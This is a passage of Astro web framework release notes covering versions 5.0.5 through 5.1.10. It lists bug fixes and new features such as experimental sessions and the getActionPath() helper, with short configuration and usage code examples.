\[[`5361755`](https://github.com/withastro/astro/commit/536175528dbbe75aa978d615ba2517b64bad7879), [`db252e0`](https://github.com/withastro/astro/commit/db252e0692a0addf7239bfefc0220c525d63337d)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.5.0 - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.1.0 ### [`v5.1.10`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5110) [Compare Source](https://github.com/withastro/astro/compare/astro@5.1.9...astro@5.1.10) ##### Patch Changes - [#&#8203;13058](https://github.com/withastro/astro/pull/13058) [`1a14b53`](https://github.com/withastro/astro/commit/1a14b53678525379211c4a7cbcbc34a04c0e4f8d) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes broken type declaration - [#&#8203;13059](https://github.com/withastro/astro/pull/13059) [`e36837f`](https://github.com/withastro/astro/commit/e36837f91437a66d5c50eb1c399b3d812743251d) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused tsconfig path aliases to break if there was more than one wildcard pattern - [#&#8203;13045](https://github.com/withastro/astro/pull/13045) [`c7f1366`](https://github.com/withastro/astro/commit/c7f1366413692091bb8d62d901745a77fa663b18) Thanks [@&#8203;mtwilliams-code](https://github.com/mtwilliams-code)! - Fixes a bug where the some utility functions of the `astro:i18n` virtual module would return an incorrect result when `trailingSlash` is set to `never` ### [`v5.1.9`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#519) [Compare Source](https://github.com/withastro/astro/compare/astro@5.1.8...astro@5.1.9) ##### Patch Changes - [#&#8203;12986](https://github.com/withastro/astro/pull/12986) [`8911bda`](https://github.com/withastro/astro/commit/8911bdacabb7fffb82bb3b3628467731ea233187) Thanks [@&#8203;wetheredge](https://github.com/wetheredge)! - Updates types and dev toolbar for ARIA 1.2 attributes and roles - [#&#8203;12892](https://github.com/withastro/astro/pull/12892) [`8f520f1`](https://github.com/withastro/astro/commit/8f520f1cc67db51feb966c710e72490a05b88954) Thanks [@&#8203;louisescher](https://github.com/louisescher)! - Adds a more descriptive error when a content collection entry has an invalid ID. - [#&#8203;13031](https://github.com/withastro/astro/pull/13031) [`f576519`](https://github.com/withastro/astro/commit/f5765196e9cd5c582da04ae3bceb4ee1d62b7eae) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates the server islands encoding logic to only escape the script end tag open delimiter and opening HTML comment syntax - [#&#8203;13026](https://github.com/withastro/astro/pull/13026) [`1d272f6`](https://github.com/withastro/astro/commit/1d272f6a5a3af16ad2ab9af41b7193ce67964b69) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a regression that prevented the import of Markdown files as raw text or URLs. ### [`v5.1.8`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#518) [Compare Source](https://github.com/withastro/astro/compare/astro@5.1.7...astro@5.1.8) ##### Patch Changes - [#&#8203;12998](https://github.com/withastro/astro/pull/12998) [`9ce0038`](https://github.com/withastro/astro/commit/9ce003802109f704cc1f081759f3d2af2c1ea2c2) Thanks [@&#8203;Kynson](https://github.com/Kynson)! - Fixes the issue that audit incorrectly flag images as above the fold when the scrolling container is not body - [#&#8203;12990](https://github.com/withastro/astro/pull/12990) [`2e12f1d`](https://github.com/withastro/astro/commit/2e12f1d7526f12fa0e1e63482f100bbb81a8b36e) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused references to be incorrectly reported as invalid - [#&#8203;12984](https://github.com/withastro/astro/pull/12984) [`2d259cf`](https://github.com/withastro/astro/commit/2d259cf4abf27a4f0a067bedb32d0459c4fce507) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug in dev where files would stop being watched if the Astro config file was edited - [#&#8203;12984](https://github.com/withastro/astro/pull/12984) [`2d259cf`](https://github.com/withastro/astro/commit/2d259cf4abf27a4f0a067bedb32d0459c4fce507) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug where the content layer would use an outdated version of the Astro config if it was edited in dev - [#&#8203;12982](https://github.com/withastro/astro/pull/12982) [`429aa75`](https://github.com/withastro/astro/commit/429aa7547572915b5f7f9a4146529e704069128b) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes an issue where server islands do not work in projects that use an adapter but only have prerendered pages. If an adapter is added, the server island endpoint will now be added by default. - [#&#8203;12995](https://github.com/withastro/astro/pull/12995) [`78fd73a`](https://github.com/withastro/astro/commit/78fd73a0dfbfab120111d5f1d1eaecd563bc82a6) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where `astro:actions` types would not work when using `src/actions.ts` - [#&#8203;13011](https://github.com/withastro/astro/pull/13011) [`cf30880`](https://github.com/withastro/astro/commit/cf3088060d45227dcb48e041c4ed5e0081d71398) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Upgrades Vite - [#&#8203;12733](https://github.com/withastro/astro/pull/12733) [`bbf1d88`](https://github.com/withastro/astro/commit/bbf1d8894e6ce5d2ebe45452a27072b9929053a8) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused the dev server to return an error if requesting "//" - [#&#8203;13001](https://github.com/withastro/astro/pull/13001) [`627aec3`](https://github.com/withastro/astro/commit/627aec3f04de424ec144cefac4a5a3b70d9ba0fb) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused Astro to attempt to inject environment variables into non-source files, causing performance problems and broken builds ### [`v5.1.7`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#517) [Compare Source](https://github.com/withastro/astro/compare/astro@5.1.6...astro@5.1.7) ##### Patch Changes - [#&#8203;12361](https://github.com/withastro/astro/pull/12361) [`3d89e62`](https://github.com/withastro/astro/commit/3d89e6282235a8da45d9ddfe02bcf7ec78056941) Thanks [@&#8203;LunaticMuch](https://github.com/LunaticMuch)! - Upgrades the `esbuild` version to match `vite` - [#&#8203;12980](https://github.com/withastro/astro/pull/12980) [`1a026af`](https://github.com/withastro/astro/commit/1a026afb427cd4b472c8f1174a08f10086f4fb89) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where setting the status of a page to `404` in development would show the default 404 page (or custom one if provided) instead of using the current page - [#&#8203;12182](https://github.com/withastro/astro/pull/12182) [`c30070b`](https://github.com/withastro/astro/commit/c30070b9271e4c494e7cbf3a1c45515782034911) Thanks [@&#8203;braden-w](https://github.com/braden-w)! - Improves matching of 404 and 500 routes - Updated dependencies \[[`3d89e62`](https://github.com/withastro/astro/commit/3d89e6282235a8da45d9ddfe02bcf7ec78056941)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.0.2 ### [`v5.1.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#516) [Compare Source](https://github.com/withastro/astro/compare/astro@5.1.5...astro@5.1.6) ##### Patch Changes - [#&#8203;12956](https://github.com/withastro/astro/pull/12956) [`3aff68a`](https://github.com/withastro/astro/commit/3aff68a4195a608e92dc6299610a4b06e7bb96f1) Thanks [@&#8203;kaytwo](https://github.com/kaytwo)! - Removes encryption of empty props to allow server island cacheability - [#&#8203;12977](https://github.com/withastro/astro/pull/12977) [`80067c0`](https://github.com/withastro/astro/commit/80067c032f9ce5852f3315d1046b2d0c220ddcd5) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where accessing `astro:env` APIs or `import.meta.env` inside the content config file would not work - [#&#8203;12839](https://github.com/withastro/astro/pull/12839) [`57be349`](https://github.com/withastro/astro/commit/57be3494e2bdc178d073243c8cbfa10edb85b049) Thanks [@&#8203;mtwilliams-code](https://github.com/mtwilliams-code)! - Fix Astro.currentLocale returning the incorrect locale when using fallback rewrites in SSR mode - [#&#8203;12962](https://github.com/withastro/astro/pull/12962) [`4b7a2ce`](https://github.com/withastro/astro/commit/4b7a2ce9e743a5624617563022635678a5ba6051) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Skips updating content layer files if content is unchanged - [#&#8203;12942](https://github.com/withastro/astro/pull/12942) [`f00c2dd`](https://github.com/withastro/astro/commit/f00c2ddc31b5285d14c2f0808c01eafaaf31f5c9) Thanks [@&#8203;liruifengv](https://github.com/liruifengv)! - Improves the session error messages - [#&#8203;12966](https://github.com/withastro/astro/pull/12966) [`d864e09`](https://github.com/withastro/astro/commit/d864e0991e05438d4bdb5e14fab4f7f75efe2a1f) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Ensures old content collection entry is deleted if a markdown frontmatter slug is changed in dev ### [`v5.1.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#515) [Compare Source](https://github.com/withastro/astro/compare/astro@5.1.4...astro@5.1.5) ##### Patch Changes - [#&#8203;12934](https://github.com/withastro/astro/pull/12934) [`673a518`](https://github.com/withastro/astro/commit/673a518b011e2df35a099f8205611d98a223a92a) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression where the Astro Container didn't work during the build, using `pnpm` - [#&#8203;12955](https://github.com/withastro/astro/pull/12955) [`db447f2`](https://github.com/withastro/astro/commit/db447f2816836b635355cc2b0a73678facd155a5) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Lets TypeScript know about the "blocking" and "disabled" attributes of the `<link>` element. - [#&#8203;12922](https://github.com/withastro/astro/pull/12922) [`faf74af`](https://github.com/withastro/astro/commit/faf74af522f4499ab95531b24a0a1c14070abe8b) Thanks [@&#8203;adamchal](https://github.com/adamchal)! - Improves performance of static asset generation by fixing a bug that caused image transforms to be performed serially. This fix ensures that processing uses all CPUs when running in a multi-core environment. - [#&#8203;12947](https://github.com/withastro/astro/pull/12947) [`3c2292f`](https://github.com/withastro/astro/commit/3c2292f2f0accf1974b30dbe32f040c56413e731) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused empty content collections when running dev with NODE\_ENV set ### [`v5.1.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#514) [Compare Source](https://github.com/withastro/astro/compare/astro@5.1.3...astro@5.1.4) ##### Patch Changes - [#&#8203;12927](https://github.com/withastro/astro/pull/12927) [`ad2a752`](https://github.com/withastro/astro/commit/ad2a752662946e3a80849605f073812b06adf632) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where Astro attempted to decode a request URL multiple times, resulting in an unexpected behaviour when decoding the character `%` - [#&#8203;12912](https://github.com/withastro/astro/pull/12912) [`0c0c66b`](https://github.com/withastro/astro/commit/0c0c66bf0df23ab5a9bd2f147e303d8397d3222e) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves the config error for invalid combinations of `context` and `access` properties under `env.schema` - [#&#8203;12935](https://github.com/withastro/astro/pull/12935) [`3d47e6b`](https://github.com/withastro/astro/commit/3d47e6baff7a17d3ef09630b0d90362baef41f97) Thanks [@&#8203;AirBorne04](https://github.com/AirBorne04)! - Fixes an issue where `Astro.locals` coming from an adapter weren't available in the `404.astro`, when using the `astro dev` command, - [#&#8203;12925](https://github.com/withastro/astro/pull/12925) [`44841fc`](https://github.com/withastro/astro/commit/44841fc281f8920b32f4b4a94deefeb3ad069cf3) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Ensures image styles are not imported unless experimental responsive images are enabled - [#&#8203;12926](https://github.com/withastro/astro/pull/12926) [`8e64bb7`](https://github.com/withastro/astro/commit/8e64bb727f78f24b26fd1c0b1289ab1ccd611114) Thanks [@&#8203;oliverlynch](https://github.com/oliverlynch)! - Improves remote image cache efficiency by separating image data and metadata into a binary and sidecar JSON file. - [#&#8203;12920](https://github.com/withastro/astro/pull/12920) [`8b9d530`](https://github.com/withastro/astro/commit/8b9d53037879cd7ca7bee4d20b4e6f08e984a7df) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Processes markdown with empty body as remark and rehype plugins may add additional content or frontmatter - [#&#8203;12918](https://github.com/withastro/astro/pull/12918) [`fd12a26`](https://github.com/withastro/astro/commit/fd12a26ac6012c6b8a26f5a178e1bb46092a1806) Thanks [@&#8203;lameuler](https://github.com/lameuler)! - Fixes a bug where the logged output path does not match the actual output path when using `build.format: 'preserve'` - [#&#8203;12676](https://github.com/withastro/astro/pull/12676) [`2ffc0fc`](https://github.com/withastro/astro/commit/2ffc0fcab78b658a6ee73a8f8b291802093dce5e) Thanks [@&#8203;koyopro](https://github.com/koyopro)! - Allows configuring Astro modules TypeScript compilation with the `vite.esbuild` config - [#&#8203;12938](https://github.com/withastro/astro/pull/12938) [`dbb04f3`](https://github.com/withastro/astro/commit/dbb04f3c04ce868b5c985c848a2c40a3761a6dad) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug where content collections would sometimes appear empty when first running astro dev - [#&#8203;12937](https://github.com/withastro/astro/pull/12937) [`30edb6d`](https://github.com/withastro/astro/commit/30edb6d9d0aaf28bea1fec73879f63fe134507d0) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where users could use `Astro.request.headers` during a rewrite inside prerendered routes. This an invalid behaviour, and now Astro will show a warning if this happens. - [#&#8203;12937](https://github.com/withastro/astro/pull/12937) [`30edb6d`](https://github.com/withastro/astro/commit/30edb6d9d0aaf28bea1fec73879f63fe134507d0) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the use of `Astro.rewrite` would trigger the invalid use of `Astro.request.headers` ### [`v5.1.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#513) [Compare Source](https://github.com/withastro/astro/compare/astro@5.1.2...astro@5.1.3) ##### Patch Changes - [#&#8203;12877](https://github.com/withastro/astro/pull/12877) [`73a0788`](https://github.com/withastro/astro/commit/73a078835eb92a05c3f681ee025c93d6db85b907) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes sourcemap warning generated by the `astro:server-islands` Vite plugin - [#&#8203;12906](https://github.com/withastro/astro/pull/12906) [`2d89492`](https://github.com/withastro/astro/commit/2d89492d73142ed5c7cea9448d841a9892e66598) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused pages that return an empty array from getStaticPath to match every path - [`011fa0f`](https://github.com/withastro/astro/commit/011fa0f00ce457cb6b582d36b6b5b17aa89f0a70) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where `astro:content` types would be erased when restarting the dev server - [#&#8203;12907](https://github.com/withastro/astro/pull/12907) [`dbf1275`](https://github.com/withastro/astro/commit/dbf1275987d4d9724eab471f1600fba9a50aefb8) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a regression around the server islands route, which was not passed to the adapters `astro:build:done` hook - [#&#8203;12818](https://github.com/withastro/astro/pull/12818) [`579bd93`](https://github.com/withastro/astro/commit/579bd93794b787485479aa3b16554409a0504ed2) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes race condition where dev server would attempt to load collections before the content had loaded - [#&#8203;12883](https://github.com/withastro/astro/pull/12883) [`fbac92f`](https://github.com/withastro/astro/commit/fbac92f8bdbb5ee1312726b2a535a81271b3f7d6) Thanks [@&#8203;kaytwo](https://github.com/kaytwo)! - Fixes a bug where responses can be returned before session data is saved - [#&#8203;12815](https://github.com/withastro/astro/pull/12815) [`3acc654`](https://github.com/withastro/astro/commit/3acc65444c27d87b6f2d61bdfa7df0e0db4e2686) Thanks [@&#8203;ericswpark](https://github.com/ericswpark)! - Some non-index files that were incorrectly being treated as index files are now excluded - [#&#8203;12884](https://github.com/withastro/astro/pull/12884) [`d7e97a7`](https://github.com/withastro/astro/commit/d7e97a775dda7a851bfc10b06161f9a1d3631ed3) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds `render()` to stub content types - [#&#8203;12883](https://github.com/withastro/astro/pull/12883) [`fbac92f`](https://github.com/withastro/astro/commit/fbac92f8bdbb5ee1312726b2a535a81271b3f7d6) Thanks [@&#8203;kaytwo](https://github.com/kaytwo)! - Fixes a bug where session data could be corrupted if it is changed after calling .set() - [#&#8203;12827](https://github.com/withastro/astro/pull/12827) [`7b5dc6f`](https://github.com/withastro/astro/commit/7b5dc6f0f1fbb825f52cd587aa1f7d21d731b3de) Thanks [@&#8203;sinskiy](https://github.com/sinskiy)! - Fixes an issue when crawlers try to index Server Islands thinking that Server Islands are pages ### [`v5.1.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#512) [Compare Source](https://github.com/withastro/astro/compare/astro@5.1.1...astro@5.1.2) ##### Patch Changes - [#&#8203;12798](https://github.com/withastro/astro/pull/12798) [`7b0cb85`](https://github.com/withastro/astro/commit/7b0cb852f6336c0f9cc65bd044864004e759d810) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Improves warning logs for invalid content collection configuration - [#&#8203;12781](https://github.com/withastro/astro/pull/12781) [`96c4b92`](https://github.com/withastro/astro/commit/96c4b925333fede1a53d19657d15e0052da90780) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a regression that caused `default()` to not work with `reference()` - [#&#8203;12820](https://github.com/withastro/astro/pull/12820) [`892dd9f`](https://github.com/withastro/astro/commit/892dd9f6cd3935ce1d4f4dec523b248c2d15da12) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused cookies to not be deleted when destroying a session - [#&#8203;12864](https://github.com/withastro/astro/pull/12864) [`440d8a5`](https://github.com/withastro/astro/commit/440d8a54f7b3d75dd16decb7d9d29e3724bff394) Thanks [@&#8203;kaytwo](https://github.com/kaytwo)! - Fixes a bug where the session ID wasn't correctly regenerated - [#&#8203;12768](https://github.com/withastro/astro/pull/12768) [`524c855`](https://github.com/withastro/astro/commit/524c855075bb75696500445fdc31cb2c69b09627) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where Astro didn't print error logs when Astro Islands were used in incorrect cases. - [#&#8203;12814](https://github.com/withastro/astro/pull/12814) [`f12f111`](https://github.com/withastro/astro/commit/f12f1118bc4687cc807a4495ffcaafcb0861b7a2) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where Astro didn't log anything in case a file isn't created during the build. - [#&#8203;12875](https://github.com/withastro/astro/pull/12875) [`e109002`](https://github.com/withastro/astro/commit/e109002c3d5980362788360211e61f11f4394837) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug in emulated legacy collections where the entry passed to the getCollection filter function did not include the legacy entry fields. - [#&#8203;12768](https://github.com/withastro/astro/pull/12768) [`524c855`](https://github.com/withastro/astro/commit/524c855075bb75696500445fdc31cb2c69b09627) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where Astro was printing the incorrect output format when running the `astro build` command - [#&#8203;12810](https://github.com/withastro/astro/pull/12810) [`70a9f0b`](https://github.com/withastro/astro/commit/70a9f0b984638c21a4da1d83b7d5a5c9940bb693) Thanks [@&#8203;louisescher](https://github.com/louisescher)! - Fixes server islands failing to check content-type header under certain circumstances Sometimes a reverse proxy or similar service might modify the content-type header to include the charset or other parameters in the media type of the response. This previously wasn't handled by the client-side server island script and thus removed the script without actually placing the requested content in the DOM. This fix makes it so the script checks if the header starts with the proper content type instead of exactly matching `text/html`, so the following will still be considered a valid header: `text/html; charset=utf-8` - [#&#8203;12816](https://github.com/withastro/astro/pull/12816) [`7fb2184`](https://github.com/withastro/astro/commit/7fb21844dff893c90dc0a07fd13cefdba61d0a45) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where an injected route entrypoint wasn't correctly marked because the resolved file path contained a query parameter. This fixes some edge case where some injected entrypoint were not resolved when using an adapter. ### [`v5.1.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5110) [Compare Source](https://github.com/withastro/astro/compare/astro@5.1.0...astro@5.1.1) ##### Patch Changes - [#&#8203;13058](https://github.com/withastro/astro/pull/13058) [`1a14b53`](https://github.com/withastro/astro/commit/1a14b53678525379211c4a7cbcbc34a04c0e4f8d) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes broken type declaration - [#&#8203;13059](https://github.com/withastro/astro/pull/13059) [`e36837f`](https://github.com/withastro/astro/commit/e36837f91437a66d5c50eb1c399b3d812743251d) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused tsconfig path aliases to break if there was more than one wildcard pattern - [#&#8203;13045](https://github.com/withastro/astro/pull/13045) [`c7f1366`](https://github.com/withastro/astro/commit/c7f1366413692091bb8d62d901745a77fa663b18) Thanks [@&#8203;mtwilliams-code](https://github.com/mtwilliams-code)! - Fixes a bug where the some utility functions of the `astro:i18n` virtual module would return an incorrect result when `trailingSlash` is set to `never` ### [`v5.1.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#510) [Compare Source](https://github.com/withastro/astro/compare/astro@5.0.9...astro@5.1.0) ##### Minor Changes - [#&#8203;12441](https://github.com/withastro/astro/pull/12441) [`b4fec3c`](https://github.com/withastro/astro/commit/b4fec3c7d17ed92dcaaeea5e2545aae6dfd19e53) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds experimental session support Sessions are used to store user state between requests for server-rendered pages, such as login status, shopping cart contents, or other user-specific data. ```astro --- export const prerender = false; // Not needed in 'server' mode const cart = await Astro.session.get('cart'); --- <a href="/checkout">🛒 {cart?.length ?? 0} items</a> ``` Sessions are available in on-demand rendered/SSR pages, API endpoints, actions and middleware. To enable session support, you must configure a storage driver. If you are using the Node.js adapter, you can use the `fs` driver to store session data on the filesystem: ```js // astro.config.mjs { adapter: node({ mode: 'standalone' }), experimental: { session: { // Required: the name of the unstorage driver driver: "fs", }, }, } ``` If you are deploying to a serverless environment, you can use drivers such as `redis`, `netlify-blobs`, `vercel-kv`, or `cloudflare-kv-binding` and optionally pass additional configuration options. For more information, including using the session API with other adapters and a full list of supported drivers, see [the docs for experimental session support](https://docs.astro.build/en/reference/experimental-flags/sessions/). For even more details, and to leave feedback and participate in the development of this feature, [the Sessions RFC](https://github.com/withastro/roadmap/pull/1055). - [#&#8203;12426](https://github.com/withastro/astro/pull/12426) [`3dc02c5`](https://github.com/withastro/astro/commit/3dc02c57e4060cb2bde7c4e05d91841dd5dd8eb7) Thanks [@&#8203;oliverlynch](https://github.com/oliverlynch)! - Improves asset caching of remote images Astro will now store [entity tags](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/ETag) and the [Last-Modified](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified) date for cached remote images and use them to revalidate the cache when it goes stale. - [#&#8203;12721](https://github.com/withastro/astro/pull/12721) [`c9d5110`](https://github.com/withastro/astro/commit/c9d51107d0a4b58a9ced486b28d09118f3885254) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds a new `getActionPath()` helper available from `astro:actions` Astro 5.1 introduces a new helper function, `getActionPath()` to give you more flexibility when calling your action. Calling `getActionPath()` with your action returns its URL path so you can make a `fetch()` request with custom headers, or use your action with an API such as `navigator.sendBeacon()`. Then, you can [handle the custom-formatted returned data](https://docs.astro.build/en/guides/actions/#handling-returned-data) as needed, just as if you had called an action directly. This example shows how to call a defined `like` action passing the `Authorization` header and the [`keepalive`](https://developer.mozilla.org/en-US/docs/Web/API/Request/keepalive) option: ```astro <script> // src/components/my-component.astro import { actions, getActionPath } from 'astro:actions'; await fetch(getActionPath(actions.like), { method: 'POST', headers: { 'Content-Type': 'application/json', Authorization: 'Bearer YOUR_TOKEN', }, body: JSON.stringify({ id: 'YOUR_ID' }), keepalive: true, }); </script> ``` This example shows how to call the same `like` action using the [`sendBeacon`](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon) API: ```astro <script> // src/components/my-component.astro import { actions, getActionPath } from 'astro:actions'; navigator.sendBeacon( getActionPath(actions.like), new Blob([JSON.stringify({ id: 'YOUR_ID' })], { type: 'application/json', }), ); </script> ``` ##### Patch Changes - [#&#8203;12786](https://github.com/withastro/astro/pull/12786) [`e56af4a`](https://github.com/withastro/astro/commit/e56af4a3d7039673658e4a014158969ea5076e32) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where Astro i18n didn't properly show the 404 page when using fallback and the option `prefixDefaultLocale` set to `true`. - [#&#8203;12758](https://github.com/withastro/astro/pull/12758) [`483da89`](https://github.com/withastro/astro/commit/483da89cf68d68ec792ff8721d469ed10dc14e4a) Thanks [@&#8203;delucis](https://github.com/delucis)! - Adds types for `?url&inline` and `?url&no-inline` [import queries](https://vite.dev/guide/assets.html#explicit-inline-handling) added in Vite 6 - [#&#8203;12763](https://github.com/withastro/astro/pull/12763) [`8da2318`](https://github.com/withastro/astro/commit/8da231855162af245f2b3664babb68dff0ba390f) Thanks [@&#8203;rbsummers](https://github.com/rbsummers)! - Fixed changes to vite configuration made in the astro:build:setup integration hook having no effect when target is "client" - [#&#8203;12767](https://github.com/withastro/astro/pull/12767) [`36c1e06`](https://github.com/withastro/astro/commit/36c1e0697da9fdc453a7a9a3c84e0e79cd0cb376) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Clears the content layer cache when the Astro config is changed ### [`v5.0.9`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#509) [Compare Source](https://github.com/withastro/astro/compare/astro@5.0.8...astro@5.0.9) ##### Patch Changes - [#&#8203;12756](https://github.com/withastro/astro/pull/12756) [`95795f8`](https://github.com/withastro/astro/commit/95795f85dbd85ff29ee2ff4860d018fd4e9bcf8f) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Remove debug logging from build ### [`v5.0.8`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#508) [Compare Source](https://github.com/withastro/astro/compare/astro@5.0.7...astro@5.0.8) ##### Patch Changes - [#&#8203;12749](https://github.com/withastro/astro/pull/12749) [`039d022`](https://github.com/withastro/astro/commit/039d022b1bbaacf9ea83071d27affc5318e0e515) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Clean server sourcemaps from static output ### [`v5.0.7`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#507) [Compare Source](https://github.com/withastro/astro/compare/astro@5.0.6...astro@5.0.7) ##### Patch Changes - [#&#8203;12746](https://github.com/withastro/astro/pull/12746) [`c879f50`](https://github.com/withastro/astro/commit/c879f501ff01b1a3c577de776a1f7100d78f8dd5) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Remove all assets created from the server build ### [`v5.0.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#506) [Compare Source](https://github.com/withastro/astro/compare/astro@5.0.5...astro@5.0.6) ##### Patch Changes - [#&#8203;12597](https://github.com/withastro/astro/pull/12597) [`564ac6c`](https://github.com/withastro/astro/commit/564ac6c2f2d77ee34f8519f1e5a4db2c6e194f65) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes an issue where image and server islands routes would not be passed to the `astro:routes:resolved` hook during builds - [#&#8203;12718](https://github.com/withastro/astro/pull/12718) [`ccc5ad1`](https://github.com/withastro/astro/commit/ccc5ad1676db5e7f5049ca2feb59802d1fe3a92e) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where Astro couldn't correctly handle i18n fallback when using the i18n middleware - [#&#8203;12728](https://github.com/withastro/astro/pull/12728) [`ee66a45`](https://github.com/withastro/astro/commit/ee66a45b250703a40b34c0a45ae34aefcb14ea44) Thanks [@&#8203;argyleink](https://github.com/argyleink)! - Adds type support for the `closedby` attribute for `<dialog>` elements - [#&#8203;12709](https://github.com/withastro/astro/pull/12709) [`e3bfd93`](https://github.com/withastro/astro/commit/e3bfd9396969caf35b3b05135539e82aab560c92) Thanks [@&#8203;mtwilliams-code](https://github.com/mtwilliams-code)! - Fixes a bug where Astro couldn't correctly parse `params` and `props` when receiving i18n fallback URLs - [#&#8203;12657](https://github.com/withastro/astro/pull/12657) [`14dffcc`](https://github.com/withastro/astro/commit/14dffcc3af49dd975635602a0d1847a3125c0746) Thanks [@&#8203;darkmaga](https://github.com/darkmaga)! - Trailing slash support for actions - [#&#8203;12715](https://github.com/withastro/astro/pull/12715) [`029661d`](https://github.com/withastro/astro/commit/029661daa9b28fd5299d8cc9360025c78f6cd8eb) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused errors in dev when editing sites with large numbers of MDX pages - [#&#8203;12729](https://github.com/withastro/astro/pull/12729) [`8b1cecd`](https://github.com/withastro/astro/commit/8b1cecd6b491654ae760a0c75f3270df134c4e25) Thanks [@&#8203;JoeMorgan](https://github.com/JoeMorgan)! - "Added `inert` to htmlBooleanAttributes" - [#&#8203;12726](https://github.com/withastro/astro/pull/12726) [`7c7398c`](https://github.com/withastro/astro/commit/7c7398c04653877da09c7b0f80ee84b02e02aad0) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where failing content entries in `astro check` would not be surfaced ### [`v5.0.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#505) [Compare Source](https://github.com/withastro/astro/compare/astro@5.0.4...astro@5.0.5) ##### Patch Changes - [#&#8203;12705](https://github.com/withastro/astro/pull/12705) [`0d1eab5`](https://github.com/withastro/astro/commit/0d1eab560d56c51c359bbd35e8bfb51e238611ee) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug where MDX files with certain characters in the name would cause builds to fail - [#&#8203;12707](https://github.com/withastro/astro/pull/12707) 